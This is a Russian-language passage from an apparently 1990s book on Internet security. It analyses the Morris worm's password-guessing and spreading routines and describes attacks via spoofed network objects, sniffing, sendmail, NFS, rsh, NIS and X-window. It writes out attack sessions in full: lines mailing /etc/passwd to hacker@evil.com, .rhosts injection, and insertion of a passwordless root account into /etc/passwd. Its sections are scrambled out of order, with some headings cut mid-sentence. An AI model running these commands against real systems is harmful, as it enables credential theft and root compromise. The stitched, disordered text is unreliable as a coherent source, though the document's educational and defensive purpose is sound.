На этом этапе читается файл /etc/hosts.equiv в поисках имен машин, которые могли бы быть заражены. Этот файл содержит информацию о том, какие машины доверяют данной. Логично предположить, что пользователи данной машины могут быть пользователями машин из этого списка.

После этого читается файл .rhost, представляющий собой список машин, которым данная машина доверяет привилегированный доступ. Заметим, что это не дает возможности получения доступа к удаленной машине и может служить только в качестве возможного адреса для атаки. Часто системные администраторы запрещают доступ к этому файлу, из-за чего вирус не мог его прочитать, хотя .rhosts очень часто является частью /etс/hosts.equiv.

В заключении фазы 0 вирус читает файл паролей /etc/passwd. Информация из этого файла используется для нахождения персональных .forward-файлов, и те просматриваются с целью поиска имен машин, которые можно атаковать. Кроме того, запоминаются имена пользователей, зашифрованные пароли и информационные строки GECOS, хранящиеся в файле /etc/passwd. После того, как вирус просканировал весь файл, он переходит к перебору стратегий.


Селекция потока информации и сохранение ее на ложном объекте РВС


Одной из атак, которую может осуществлять ложный объект РВС, является перехват передаваемой между субъектом и объектом взаимодействия информации. Важно отметить, что факт перехвата информации (фай-лов, например) возможен из-за того, что при выполнении некоторых операций над файлами (чтение, копирование и т. д.) содержимое этих файлов передается по сети, а, значит, поступает на ложный объект. Простейший способ реализации перехвата - это сохранение в файле всех получаемых ложным объектом пакетов обмена.

Тем не менее, данный способ перехвата информации оказывается недостаточно информативным. Это происходит вследствие того, что в пакетах обмена кроме полей данных существуют служебные поля, не представляющие в данном случае для атакующего непосредственного интереса. Следовательно, для того, чтобы получить непосредственно передаваемый файл, необходимо проводить на ложном объекте динамический семантический анализ потока информации для его селекции.



Модификация информации


Одной из особенностей любой системы воздействия, построенной по принципу ложного объекта, является то, что она способна модифицировать перехваченную информацию. Следует особо отметить, что это один из способов, позволяющих программно модифицировать поток информации между объектами РВС с другого объекта. Ведь для реализации перехвата информации в сети необязательно атаковать распределенную ВС по схеме "ложный объект" . Эффективней будет атака, осуществляющая анализ сетевого трафика (п. 3.2.1), позволяющая получать все пакеты, проходящие по каналу связи, но, в отличие от удаленной атаки по схеме "ложный объект" , она не способна к модификации информации.

Далее рассмотрим два вида модификации информации:

модификация передаваемых данных;

модификация передаваемого кода.

Одной из функций, которой может обладать система воздействия, построенная по принципу "ложный объект" , является модификация передаваемых данных. В результате селекции потока перехваченной информации и его анализа система может распознавать тип передаваемых файлов (исполняемый или текстовый). Соответственно, в случае обнаружения текстового файла или файла данных появляется возможность модифицировать проходящие через ложный объект данные. Особую угрозу эта функция представляет для сетей обработки конфиденциальной информации.

Другим видом модификации может быть модификация передаваемого кода. Ложный объект, проводя семантический анализ проходящей через него информации, может выделять из потока данных исполняемый код. Известный принцип неймановской архитектуры гласит, что не существует различий между данными и командами. Следовательно, для того, чтобы определить, что передается по сети - код или данные, необходимо использовать определенные особенности, свойственные реализации сетевого обмена в конкретной распределенной ВС или некоторые особенности, присущие конкретным типам исполняемых файлов в данной локальной ОС.

Представляется возможным выделить два различных по цели вида модификации кода:


внедрение РПС (разрушающих программных средств);
изменение логики работы исполняемого файла.
В первом случае при внедрении РПС исполняемый файл модифицируется по вирусной технологии: к исполняемому файлу одним из известных способов дописывается тело РПС ,а также одним из известных способов изменяется точка входа так, чтобы она указывала на начало внедренного кода РПС. Описанный способ, в прин-ципе, ничем не отличается от стандартного заражения исполняемого файла вирусом, за исключением того, что файл оказался поражен вирусом или РПС в момент передачи его по сети! Такое возможно лишь при использовании системы воздействия, построенной по принципу "ложный объект" . Конкретный вид РПС, его цели и задачи в данном случае не имеют значения, но можно рассмотреть, например, вариант использования ложного объекта для создания сетевого червя - наиболее сложного на практике удаленного воздействия в сетях, или в качестве РПС использовать сетевые шпионы.
Во втором случае происходит модификация исполняемого кода с целью изменения логики его работы. Данное воздействие требует предварительного исследования работы исполняемого файла и, в случае его проведения, может принести самые неожиданные результаты. Например, при запуске на сервере (например, в ОС Novell NetWare) программы идентификации пользователей распределенной базы данных ложный объект может так модифицировать код этой программы, что появится возможность беспарольного входа с наивысшими привилегиями в базу данных.

Это самая простая стратегия, способная


Это самая простая стратегия, способная определить только примитивные пароли. В качестве пароля предлагаются следующие варианты (для примера возьмем строчку из файла etc/passwd user:encrypted password:100:5:Last First: /usr/user:/bin/sh ):

пароль вообще отсутствует;

в качестве пароля берется входное имя пользователя (user);

то же, но прочитанное справа налево (resu);

пароль представляет собой двойной повтор имени пользователя (useruser);

имя или фамилия пользователя (Last, First);

то же, но в нижнем регистре (last, first).

Все эти атаки применялись к 50 паролям, накопленным во время фазы 0. Так как вирус пытался угадать пароли всех пользователей, он переходил к стратегии 2.


Подмена информации


Ложный объект позволяет не только модифицировать, но и подменять перехваченную им информацию. Если модификация информации приводит к ее частичному искажению, то подмена - к ее полному изменению.

При возникновении в сети определенного контролируемого ложным объектом события одному из участников обмена посылается заранее подготовленная дезинформация. При этом такая дезинформация в зависимости от контролируемого события может быть воспри-нята либо как исполняемый код, либо как данные. Рассмотрим пример подобного рода дезинформации.

Предположим, что ложный объект контролирует событие, которое состоит в подключении пользователя к серверу. В этом случае он ожидает, например, запуска соответствующей программы входа в систему. В случае, если эта программа находится на сервере, то при ее запуске исполняемый файл передается на рабочую станцию. Вместо того, чтобы выполнить данное действие, ложный объект передает на рабочую станцию код заранее написанной специальной программы - захватчика паролей. Эта программа выполняет визуально те же действия, что и настоящая программа входа в систему, например, запрашивая имя и пароль пользователя, после чего полученные сведения посылаются на ложный объект, а пользователю выводится сообщение об ошибке. При этом пользователь, посчитав, что он неправильно ввел пароль (пароль обычно не отображается на экране) снова запустит программу подключения к системе (на этот раз настоящую) и со второго раза получит доступ. Результат такой атаки - имя и пароль пользователя, сохраненные на ложном объекте.



использует внутренний список из


Стратегия 2 использует внутренний список из 432 возможных паролей, являющихся, с точки зрения автора вируса, наиболее подходящими кандидатами на эту роль. В цикле проверки проверяется значение переменной pleasequit, чтобы перед выходом вирус проверил не менее 10 вариантов. Список содержится в закодированном виде (установлен старший бит) и перемешивается в начале проверки для того, чтобы пароли подбирались в случайном порядке.

Когда список слов исчерпан, вирус переходит к стратегии 3.


Эта стратегия использует для подбора


Эта стратегия использует для подбора пароля файл /usr/dict/words, содержащий около 24000 слов и используемый в системе 4.3BSD (и других UNIX системах) как словарь для проверки орфографии. Если слово начинается с прописной буквы, то также проверяется и вариант со строчной буквой.


Использование ложного объекта для организации удаленной атаки на распределенную ВС


Получив контроль над проходящим потоком информации между объектами, ложный объект РВС может применять различные методы воздействия на перехваченную информацию. В связи с тем, что внедрение в распределенную ВС ложного объекта является целью многих удаленных атак и представляет серьезную угрозу безопасности РВС в целом, то в следующих пунктах будут подробно рассмотрены методы воздействия на информацию, перехваченную ложным объектом.



Неиспользуемые возможности вируса


Вирус не использовал некоторые очевидные возможности:

при поиске списка мишеней для атаки он мог бы использовать службу DNS для поиска имен машин, подключенных к сети. Эта информация обычно включает также тип машины и ОС, что ограничивает список целей;

он не атаковал последовательно оба типа машин. Если VAX-атака терпела неудачу, он мог бы предпринять Sun-атаку, но не делал этого;

он не пытался найти привилегированных пользователей на локальной машине.



Процедуры подбора пароля


Эти процедуры являются "мозгом" вируса. Cracksome - процедура, применяющая различные стратегии для проникновения в систему путем подбора паролей пользователей. Автором допускалось добавление новых стратегий в случае последующего развития вируса. Вирус последовательно пробует каждую стратегию.



Проникновение в систему с помощью sendmail


Sendmail - это очень сложная программа, у которой всегда было много проблем с безопасностью, включая печально известную команду "debug" . С ее помощью, например, зачастую можно получить некоторую информацию об удаленной системе, иногда вплоть до номера версии, анализируя ее сообщения. Это дает возможность определить наличие в системе известных ошибок. Кроме того, можно увидеть, запущен ли псевдоним "decode" , имеющий ряд проблем: evil % telnet victim.com 25

connecting to host victim.com (128.128.128.1.), port 25 connection open 220 victim.com Sendmail Sendmail 5.55/victim ready at Fri, 6 Nov 93 18:00 PDT expn decode

250 <"|/usr/bin/uudecode"> quit

Наличие псевдонима decode подвергает систему риску, что злоумышленник может изменить любые файлы, доступные для записи владельцу этого псевдонима, которым, как правило, является демон. Этот фрагмент кода поместит evil.com в файл .rhosts пользователя hacker, если он доступен для записи: evil % echo "evil.com" | uuencode /home/hacker/.rhosts | mail decode@victim.com

В части sendmail, отвечающей за пересылку, были две хорошо известные ошибки. Первая была устранена в версии 5.59 Berkeley. Для версий sendmail до 5.59 в приведенном примере, несмотря на сообщения об ошибках, "evil.com" добавляется к файлу .rhosts вместе с обычными почтовыми заголовками: % cat evil_sendmail

telnet victim.com 25 << EOSM rcpt to: /home/hacker/.rhosts mail from: hacker data . rcpt to: /home/hacker/.rhosts mail from: hacker data evil.com . quit EOSM evil % /bin/sh evil_sendmail

Trying 128.128.128.1 Connected to victim.com Escape character is '^]'. Connection closed by foreign host. evil % rlogin victim.com -l hacker

Welcome to victim.com! victim %

Вторая ошибка, исправленная недавно, позволяла кому угодно задавать произвольные команды оболочки и/или пути для посылающей и/или принимающей стороны. Попытки сохранить детали в секрете были тщетными, и широкая дискуссия в эхо-конференциях привела к обнародованию того, как можно использовать некоторые ошибки. Как и для большинства других ошибок UNIX, почти все системы оказались уязвимы для этих атак, поскольку все они имели в основе один и тот же исходный текст. Типичная атака с помощью sendmail, направленная на получение пароля, может выглядеть так: evil % telnet victim.com 25

Trying 128.128.128.1 Connected to victim.com Escape character is '^]'. 220 victim.com Sendmail 5.55 ready at Saturday, 6 Nov 93 18:04 mail from: "|/bin/mail hacker@evil.com < /etc/passwd"

250 "|/bin/mail hacker@evil.com < /etc/passwd"... Sender ok rcpt to: nosuchuser

550 nosuchuser... User unknown data

354 Enter mail, end with "." on a line by itself . 250 Mail accepted quit

Connection closed by foreign host. evil %

Видно, что все атаки на sendmail идут на уровне незарегистрированного удаленного пользователя, и поэтому относятся к сценарию 1. Ну, а к sendmail мы еще вернемся.



Удаленное выполнение и подбор паролей


Вирус использовал протокол удаленного выполнения программ (rexec), который требовал для выполнения программы на удаленной машине только имя пользователя и незашифрованный пароль. Программа применяла для этого имена пользователей локального (атакующего) хоста, используя тот факт, что многие пользователи имеют одинаковые имена и пароли на всех машинах в сети. Эта, как и следующая, атака относится уже к сценарию 4.



Порядок работы


Все эти процедуры вызываются в главном цикле. Если первая процедура завершилась успешно, то остальные процедуры не вызываются. Каждая процедура возвращается после того, как она сумела атаковать одну машину. Затем вызывается hi, которая пытается заразить удаленные машины, найденные cracksome. Если hi терпит неудачу, то вызывается ha, которая старается проникнуть в удаленную машину по случайно угаданному адресу связи. Это демонстрирует, что вирус предпочитал поражать сначала шлюзовые машины, а затем распространяться на присоединенные к ним сети, вместо того чтобы заражать машины, минуя шлюзы. Если hg, hi и ha терпят неудачу, то вызывается hl, которая похожа на ha, но подбирает адрес, используя сетевой адрес текущей машины.

Анализ кода этих процедур так же свидетельствует о наличии ошибок, в результате чего некоторые из них не были функциональны.



С использованием неправильного администрирования NFS


Предположим, что запуск программы showmount с параметром "атакуемый хост" покажет следующее: evil % showmount -e victim.com

export list for victim.com: /export (everyone) /var (everyone) /usr easy /export/exec/kvm/sun4c.sunos.4.1.3 easy /export/ root /easy easy /export/swap/easy easy

Сразу бросается в глаза, что /export и все его подкаталоги экспортируются во внешнюю среду. Предположим (это можно выяснить с помощью finger), что домашним каталогом пользователя guest является /export/foo. Теперь с помощью этой информации можно осуществить первое вторжение. Для этого монтируется домашний каталог пользователя guest удаленной машины. Поскольку даже суперпользователь атакующей машины не может модифицировать файлы на файловой системе, смонтированной как NFS, необходимо обмануть NFS и создать фиктивного пользователя guest в локальном файле паролей. Далее стандартно эксплуатируется "излишнее доверие" , и атакующая машина victim.com вставляется в файл .rhosts в удаленном домашнем каталоге guest, что позволит зарегистрироваться в атакуемой машине, не предоставляя пароля: evil # mount victim.com:/export/foo /foo

evil # cd /foo

evil # ls -lag

total 3 1 drwxr-xr-x 11 root daemon 512 Jun 19 09:47 . 1 drwxr-xr-x 7 root wheel 512 Jul 19 1991 .. 1 drwx--x--x 9 10001 daemon 1024 Aug 3 15:49 guest evil # echo guest:x:10001:1:временно для взлома:/: >> /etc/passwd

evil # su guest

evil % echo victim.com >> guest/.rhosts

evil % rlogin victim.com

Welcome to victim.com! victim %

Если бы victim.com не экспортировал домашние каталоги пользователей, а только пользовательские каталоги с программами (скажем, /usr или /usr/local/bin), можно было бы заменить команду троянским конем, который бы выполнял те же операции.



Процедура ll.c - "абордажный крюк"


Это короткая процедура, которую все процедуры атаки использовали для пересылки основной части вируса.

Первое, что она делает, это удаляет свой образ на диске. Затем она проверяет наличие трех аргументов (если их нет, то завершается), после чего закрывает все файловые дескрипторы и разветвляется на два процесса (если это не удается, она так же завершается). Процесс-родитель завершается, не оставляя никаких связей с порожденным процессом.

Далее процедура (процесс-потомок) создает TCP-связь с заражаемой машиной по адресу, заданному в качестве первого аргумента, через порт, заданный вторым аргументом. Затем она пересылает на зараженную машину "магическое число" , заданное третьим аргументом. Каждый аргумент стирается сразу же после его использования. Далее стандартный ввод-вывод переназначается на канал связи с зараженной машиной.

Следующим этапом в цикле считывается длина и имя каждого файла, составляющего вирус. Каждый файл пересылается с зараженной машины на текущую. При возникновении сбоев все файлы удаляются.

По окончании цикла пересылки файлов запускается Bourne Shell (sh), замещающий программу ll и получающий команды с зараженной машины.



Проникновение в систему с помощью rsh


Если система, которую собираются атаковать, содержит шаблон "+" в файле /etc/hosts.equiv (в некоторых системах он устанавливается по умолчанию) или содержит ошибки в утилите netgroups, то любой пользователь с помощью rlogin сможет зарегистрироваться на ней под любым именем, кроме root , без указания пароля. Поскольку специальный пользователь "bin" , как правило, имеет доступ к ключевым файлам и каталогам, то, зарегистрировавшись как bin, можно изменить файл паролей так, чтобы получить привилегии доступа root . Это можно сделать примерно следующим способом: evil % whoami

bin evil % rsh victim.com csh -i

Warning: no access to tty; thus no job control in this shell... victim % ls -ldg /etc

drwxr-sr-x 8 bin staff 2048 Jul 24 18:02 /etc victim % cd /etc

victim % mv passwd pw.old

victim % (echo toor::0:1:instant root shell:/:/bin/sh; cat pw.old ) > passwd

victim % ^D

evil % rlogin victim.com -l toor

Welcome to victim.com! victim #

Несколько замечаний по поводу деталей приведенного выше метода: "rsh victim.com csh -i" используется для проникновения в систему, т. к. при таком запуске csh не оставляет никаких следов в файлах учета wtmp или utmp, делая rsh невидимым для finger или who. Правда, при этом удаленный командный процессор не подключается к псевдотерминалу, поэтому полноэкранные программы (например, редакторы) работать не будут. На многих системах атака с помощью rsh в случае успешного завершения оставалась совершенно незамеченной, поэтому можно порекомендовать использовать регистратор внешних tcp-подключений, который может помочь обнаружить такую деятельность.



Использование службы NIS


Активный NIS-сервер управляет почтовыми псевдонимами (aliases) для доменов NIS. Подобно рассмотренным вариантам атак с помощью псевдонимов локальной почты, можно создать почтовые псевдонимы, которые будут выполнять команды, когда им приходит почта. Например, рассмотрим создание псевдонима "foo" , который посылает по почте файл паролей на evil.com, когда на его адрес поступает любое сообщение: nis-master # echo 'foo: "| mail hacker@evil.com < /etc/passwd "' >> /etc/aliases

nis-master # cd /var/yp

nis-master # make aliases

nis-master # echo test | mail -v foo@victim.com

Таким образом, становится ясно, что NIS - ненадежная служба, которая почти не имеет аутентификации клиентов и серверов, и, если атакующий управляет активным NIS-сервером, то он также сможет эффективно управлять хостами клиентов (например, сможет выполнять произвольные команды).



Особенности безопасности X-window


Все сетевые службы, кроме portmapper, могут быть обнаружены с помощью перебора всех сетевых портов. Многие сетевые утилиты и оконные системы работают с конкретными портами (например, sendmail - с портом 25, telnet - с портом 23). Порт X-window обычно 6000. Без дополнительной защиты окна X-window могут быть захвачены или просмотрены, ввод пользователя может быть украден, программы могут быть удаленно выполнены и т. п. Одним из методов определения уязвимости X сервера является подсоединение к нему через функцию XOpenDisplay (). Если функция возвращает не NULL, то можно получить доступ к дисплею.

Х-терминалы, гораздо менее мощные системы, могут иметь свои проблемы по части безопасности. Многие Х-терминалы разрешают неограниченный rsh-доступ, позволяя запустить Х-клиенты на терминале victim, перенаправляя вывод на локальный терминал: evil% xhost +xvictim.victim.com

evil% rsh xvictim.victim.com telnet victim.com -display evil.com

В любом случае необходимо продумать безопасность вашей системы X-Window, поскольку иначе система будет подвергаться такому же риску, как и при наличии "+" в hosts.eguiv или отсутствии пароля у root .



Атаки на доверие


Ниже перечисляемые атаки основаны на типовом сценарии 4.



Процедуры поиска удаленных машин


Это набор процедур с начинающимися на "h" именами, выполняющих задачу поиска имен и адресов удаленных машин.

Процедура hg вызывает процедуру rt_init, которая сканирует таблицу маршрутов и записывает все адреса доступных шлюзов (gateways) в специальный список. Затем процедура hg пытается применить процедуры атаки через rsh, finger и sendmail.

Процедура ha связывается с каждым шлюзом из списка, полученного процедурой hg, через TCP порт номер 23 (telnet), для того, чтобы обнаружить те машины, которые поддерживают telnet. Список перемешивается случайным образом, после чего для каждой машины из этого списка вызывается процедура hn (т. е. вирус пытается заразить все машины в подсетях этого шлюза).

Процедура hl извлекает номер сети - первый компонент сетевого адреса из всех адресов текущей машины, и для каждого полученного адреса вызывает процедуру hn с этим адресом в качестве аргумента (иначе говоря, атакуются все локально подключенные подсети).

Процедура hi пытается атаковать каждую машину из списка, находящегося в файле /etc/hosts.equiv (см. 8.4.4.3), через rsh, finger и sendmail.

Процедура hn получает номер сети в качестве аргумента. Если этот номер совпадает с номером сети одной из машин, подключенных к данной, процедура завершается. Для остальных адресов она пытается угадать адреса шлюзов путем перебора всех возможных адресов (<номер сети>.[1-8].0.[1-255]). Этот список перемешивается случайным образом, после чего процедура пытается атаковать до 12 машин из этого списка, используя rsh, finger и SMTP. Если машина не поддерживает связь через TCP-порт 514 (rsh), то hn не пытается атаковать ее. После первой успешной атаки процедура завершается.



Удаленный командный интерпретатор и доверенные хосты


Вирус пытался использовать программу запуска удаленного интерпретатора (rsh) для атаки других машин либо с полученным именем и паролем текущего пользователя, либо вообще без аутентификации, если атакуемая машина доверяет данной. (Файлы /etc/hosts.equiv и .rhosts содержат список машин, "доверяющих"данной, т. е. доступных для запуска rsh с данной машины.) Он пробовал три различных имени для rsh: /usr/ucb/rsh; /usr/bin/rsh; /bin/rsh.

Удаленный интерпретатор по своей функции напоминает программу удаленного исполнения, но обладает более дружественным интерфейсом, так как дистанционно запускается командный интерпретатор, а не функция exec.



Административные методы защиты от удаленных атак в сети Internet


Итак, уважаемый пользователь или не менее уважаемый сетевой администратор, вы все-таки решили попытаться защитить свою систему от разного рода удаленных воздействий. Конечно, самым правильным шагом в этом направлении будет приглашение специалиста по информационной безопасности, который вместе с вами постарается решить весь комплекс задач по обеспечению требуемого необходимого уровня безопасности для вашей распределенной ВС. Это довольно сложная комплексная задача, для решения которой необходимо определить, что (список контролируемых объектов и ресурсов РВС), от чего (анализ возможных угроз данной РВС) и как (выработка требований, определение политики безопасности и выработка административных и программно-аппаратных мер по обеспечению на практике разработанной политики безопасности) защищать.

Пожалуй, наиболее простыми и дешевыми являются именно административные методы защиты от информационно-раз-рушающих воздействий. В следующих пунктах рассматриваются возможные административные методы защиты от описанных в 4 главе удаленных атак на хосты Internet (в общем случае на IP-сети).



Адресация в Internet


Концепция протокола IP представляет сеть как множество компьютеров (хостов - hosts), подключенных к некоторой интерсети. Интерсеть, в свою очередь, рассматривается как совокупность физических сетей, связанных маршрутизаторами. Физические сети представляют из себя коммуникационные системы произвольной физической природы. Физические объекты (хосты, маршрутизаторы, подсети) идентифицируются при помощи специальных так называемых IP-адресов. Каждый

IP-адрес представляет собой 32-битовый идентификатор. Принято записывать IP-адреса в виде 4-х десятичных чисел, разделенных точками. Каждый адрес является совокупностью двух идентификаторов: сети - NetID, и хоста - HostID. Все возможные адреса разделены на 5 классов, схема которых приведена на рис.2.2.

Рис. 2.2. Классы адресов.

Из рисунка видно, что классы сетей определяют как возможное количество этих сетей, так и число хостов в них. Практически используются только первые три класса:

Класс А определен для сетей с числом хостов до 16777216. Под поле NetID отведено 7 бит, под поле HostID - 24 бита.

Класс В используется для среднемасштабных сетей (NetID - 14 бит, HostID - 16 бит). В каждой такой сети может быть до 65 536 хостов.

Класс С применяется для небольших сетей (NetId - 21 бит, HostID - 8 бит) с числом хостов до 255.



Анализ сетевого трафика


Как уже отмечалось, основной особенностью распределенной ВС является то, что ее объекты распределены в пространстве и связь между ними физически осуществляется по сетевым соединениям и программно - при помощи механизма сообщений. При этом все управляющие сообщения и данные, пересылаемые между объектами РВС, передаются по сетевым соединениям в виде пакетов обмена. Эта особенность привела к появлению специфичного для распределенных ВС типового удаленного воздействия, заключающегося в прослушивании канала связи. Назовем данное типовое удаленное воздействие анализом сетевого трафика (или, сокращенно, сетевым анализом).

Анализ сетевого трафика позволяет, во-первых, изучить логику работы распределенной ВС, то есть получить взаимно однозначное соответствие событий, происходящих в системе, и команд, пересылаемых друг другу ее объектами, в момент появления этих событий (если проводить дальнейшую аналогию с инструментарием хакера, то анализ трафика в этом случае заменяет и трассировщик). Это достигается путем перехвата и анализа пакетов обмена на канальном уровне. Знание логики работы распределенной ВС позволяет на практике моделировать и осуществлять типовые удаленные атаки, рассмотренные в следующих пунктах на примере конкретных распределенных ВС.

Во-вторых, анализ сетевого трафика позволяет перехватить поток данных, которыми обмениваются объекты распределенной ВС. Таким образом, удаленная атака данного типа заключается в получении на удаленном объекте несанкционированного доступа к информации, которой обмениваются два сетевых абонента. Отметим, что при этом отсутствует возможность модификации трафика и сам анализ возможен только внутри одного сегмента сети. Примером перехваченной при помощи данной типовой удаленной атаки информации могут служить имя и пароль пользователя, пересылаемые в незашифрованном виде по сети (п. 4.1).

По характеру воздействия анализ сетевого трафика является пассивным воздействием (класс 1.1). Осуществление данной атаки без обратной связи (класс 4.2) ведет к нарушению конфиденциальности информации (класс 2.1) внутри одного сегмента сети (класс 5.1) на канальном уровне OSI (класс 6.2). При этом начало осуществления атаки безусловно по отношению к цели атаки (класс 3.3).



Анализ сетевого трафика сети Internet


В сети Internet основными базовыми протоколами удаленного доступа являются TELNET и FTP (File Transfer Protocol). TELNET - это протокол виртуального терминала (ВТ), позволяющий с удаленных хостов подключаться к серверам Internet в режиме ВТ. FTP - протокол, предназначенный для передачи файлов между удаленными хостами. Для получения доступа к серверу по данным протоколам пользователю необходимо пройти на нем процедуру идентификации и аутентификации. В качестве информации, идентифицирующей пользователя, выступает его идентификатор (имя), а для аутентификации используется пароль. Особенностью протоколов FTP и TELNET является то, что пароли и идентификаторы пользователей передаются по сети в открытом, незашифрованном виде. Таким образом, необходимым и достаточным условием для получения удаленного доступа к хостам по протоколам FTP и TELNET являются имя и пароль пользователя.

Одним из способов получения паролей и идентификаторов пользователей в сети Internet является анализ сетевого трафика. Сетевой анализ осуществляется с помощью специальной пpогpаммы-анализатоpа пакетов, перехватывающей все пакеты, передаваемые по сегменту сети, и выделяющей среди них те, в которых передаются идентификатоp пользователя и его паpоль. Сетевой анализ протоколов FTP и TELNET показывает, что TELNET разбивает пароль на символы и пересылает их по одному, помещая каждый символ из пароля в соответствующий пакет, а FTP, напротив, пересылает пароль целиком в одном пакете.

У внимательного читателя, наверное, уже возник вопрос, почему разработчики базовых прикладных протоколов Internet не предусмотрели возможностей шифрования передаваемых по сети паролей пользователей. Даже во всеми критикуемой сетевой ОС Novell NetWare 3.12 пароли пользователей никогда не передаются в открытом виде по сети (правда, этой ОС это особенно не помогает - [9]). Видимо, проблема в том, что базовые прикладные протоколы семейства TCP/IP разрабатывались очень давно - в период с конца 60-х до начала 80-х и c тех пор абсолютно не изменились. При этом точка зрения на построение глобальных сетей стала иной. Инфраструктура сети Internet и ее протоколы разрабатывались в основном из соображений надежности связи и уж никак не из соображений безопасности. Мы - пользователи сети Internet - сейчас пожинаем плоды, оставленные нам разработчиками этой морально устаревшей с точки зрения безопасности глобальной сети. Совершенно очевидно, что вычислительные системы за эти годы сделали колоссальный скачок в своем развитии. Поэтому, конечно, за эти годы подход к обеспечению информационной безопасности распределенных ВС существенно изменился. Были разработаны различные протоколы обмена, позволяющие защитить сетевое соединение и зашифровать трафик (например, протоколы SSL, SKIP и т. п.). Однако эти протоколы не сменили устаревшие и не стали стандартом для каждого пользователя (может быть, за исключением SSL). Вся проблема состоит в том, что для того, чтобы они стали стандартом, на эти протоколы должны перейти все пользователи сети, но, так как в Internet отсутствует централизованное управление сетью, то процесс перехода на эти протоколы может длиться еще многие годы. А на сегодняшний день подавляющее большинство пользователей используют стандартные протоколы семейства TCP/IP, разработанные более 15 лет назад. В результате, как показывают сообщения амеpиканских центpов по компьютеpной безопасности (CERT, CIAC), анализ сетевого трафика в сети Internet успешно пpименялся кракерами в последние годы, и, согласно матеpиалам специального комитета пpи конгpессе США, с его помощью в 1993-1994 годах было пеpе-хвачено около миллиона паpолей для доступа в различные информационные системы.

Рис. 4.1. Анализ сетевого трафика.



Атака через Internet. Предисловие


Internet как информационный образ прошлого, настоящего и во многом будущего развития мира занимает мысли техников и ученых, бизнесменов и банкиров, школьников, домохозяек, писателей-фантастов и, конечно же, специалистов, отвечающих за надежность и достоверность систем связи и управления. Наша страна по разным причинам открыла окно в этот мир совсем недавно.

При этом все упомянутые выше категории пользователей (а их на самом деле гораздо больше, чем принято считать) имеют свой собственный взгляд на мир Internet и ожидают от него решения своих, иногда очень специфических, проблем. Для кого-то это средство общения, для других - обучения, приобщения к сокровищам мировой культуры, сфера решения деловых проблем. Это все может быть объединено общим термином "сбор и обмен информацией" . Но есть и такие, для которых Internet - это среда воздействия на информационную сферу, способ приобретения скандальной известности или "славы Герострата" .

Предполагается, что существуют методы и средства, которые, будучи применены специалистами, оградят законопослушных пользователей от хулиганствующих юнцов или профессиональных злоумышленников. Судя по огромному количеству статей по безопасности телекоммуникаций, посвященных специальным протоколам, методам шифрования, системам Firewall, фильтрующимшлюзам и т.п., непрофессионалу кажется, что еще немного - и проблема будет решена. Так ли это?

Какова реальная обстановка в области безопасности Internet?

Авторы рискнули, учитывая практическое отсутствие специальных изданий по защите Internet в России, предложить нетрадиционный взгляд на эту проблему.



Безопасны ли ваши деньги?


Другим и, пожалуй, наиболее устойчивым мифом является миф о всеобщей беззащитности банковских вычислительных систем. Да, действительно, в отличие от ВС стратегического назначения, банки из-за конкурентной борьбы между собой вынуждены для обеспечения удобства и быстродействия работы с клиентами предоставлять им возможность удаленного доступа из сетей общего пользования к своим банковским вычислительным системам. Однако, во-первых, для связи в этом случае используются защищенные криптопротоколы и всевозможные системы сетевой защиты (Firewall, например), и, во-вто-рых, предоставление клиенту возможности удаленного доступа отнюдь не означает, что клиент может получить доступ непосредственно к внутренней банковской сети. По мнению специалистов, зарубежные банковские ВС (про отечественные мы не говорим, пока еще не достигнут соответствующий уровень автоматизации расчетов) являются наиболее защищенными после ВС стратегического назначения.

Однако, в последние годы некоторым журналистам (в том числе и отечественным) в погоне за сенсацией удалось (и не без успеха, особенно на основе реально имевшего место дела Левина) придумать миф о всеобщей беззащитности банковских систем. Последним примером была статья в еженедельнике с многомиллионным тиражом "Аргументы и Факты" , в февральском номере 1997 года которого господином А. Какоткиным было напечатано замечательное творение под названием "Компьютерные взломщики" . Общий вывод из этой статьи, перефразируя слова журналиста, можно сделать следующий: "Каждому хакеру по бронежилету и запасному процессору" . Не нужно быть крупным специалистом по компьютерной безопасности, чтобы, прочитав эту статью, сделать вывод, что она является абсолютной чушью

от начала и до конца (особенно смешно читать "под-робности" взлома банковской сети). Возможно, впрочем, что недостаточно просвещенного в этой области журналиста некие люди с непонятными целями просто ввели в заблуждение (или, что неудивительно, он чего-то просто не понял).

Более интересным, на наш взгляд, вопросом является то, насколько надежно на самом деле защищены банковские сети, особенно в том случае, если к ним предусмотрен удаленный доступ из сети Internet. К сожалению, на этот вопрос мы не можем дать точного ответа, пока специализированные системы безопасности банковских ВС (естественно, под такими системами не имеются в виду операционные системы типа Novell NetWare, Windows NT или 95, UNIX, которые хоть и часто применяются в банковской среде, но специализированными уж никак не являются) не будут сертифицированы. Единственное, что можно гарантировать, это то, что с вероятностью около 99.9% подобные системы будут подвергаться угрозе отказа в обслуживании, которая рассмотрена далее.



Будет ли Internet защищенным?


С нашей точки зрения, развитие средств безопасности Internet может войти в противоречие с ее назначением и исказит саму идею Сети. Более правомерна постановка вопроса о создании специализированной безопасной мировой инфосферы, предназначенной для управления мировым производством, транспортом, геополитикой. Видимо, прогресс приведет к необходимости создания такой единой системы. Такая среда общения будет обладать архитектурой безопасности и гарантировать целостность и конфиденциальность информации. Очевидно, что создатели этой системы должны обеспечить соблюдение политических и экономических интересов мировых субъектов, т. к. многопольное владение этой системой означает контроль над миром.

Ясно, что подобной средой не может быть Internet в сегодняшнем виде. Главное, на наш взгляд, - нужно воздержаться от стремления приблизить сегодняшний Internet к такой среде управления миром. Internet по-своему хорош в том виде, в каком он есть.

В чем перспектива защиты информационных систем в эпоху интеграции среды обработки информации? По нашему мнению, выход из сложившегося положения состоит в четком разграничении информации, представляющей жизненный интерес для субъектов - пользователей - и создания специализированных систем ее обработки. Такие системы должны иметь возможность интегрирования в мировую сеть при обеспечении их односторонней информационной изоляции. О том, как создавать защищенные информационные системы, коллектив сотрудников Специализированного центра защиты информации СПбГГУ попытается рассказать в следующих книгах.



Чем эта книга отличается от других книг по безопасности Internet?


Неординарность подхода состоит в том, что основу составляет анализ алгоритмических и технических особенностей реализации Internet, которые используются нарушителями безопасности Сети.

Именно с этой точки зрения авторы, подробно изучив механизмы реализации удаленных атак, рассматривают возможные способы защиты от них.

С точки зрения авторов, предлагаемый подход позволяет указать на причины недостатков Сети и, тем самым, сосредоточиться на мерах, которые должны быть приняты в первую очередь, чтобы обеспечить опережаю-щие действия для блокирования возможной атаки, а не устранения ее последствий.

Такой подход прослеживается в ряде работ авторов, являющихся сотрудниками Центра защиты информации Санкт-Петербургского Государственного Технического Университета, и весьма перспективен при разработке методов обеспечения безопасности сложных информационных систем.

Опережая возможные упреки в опасности раскрытия механизмов атак, авторы считают необходимым отметить следующее:
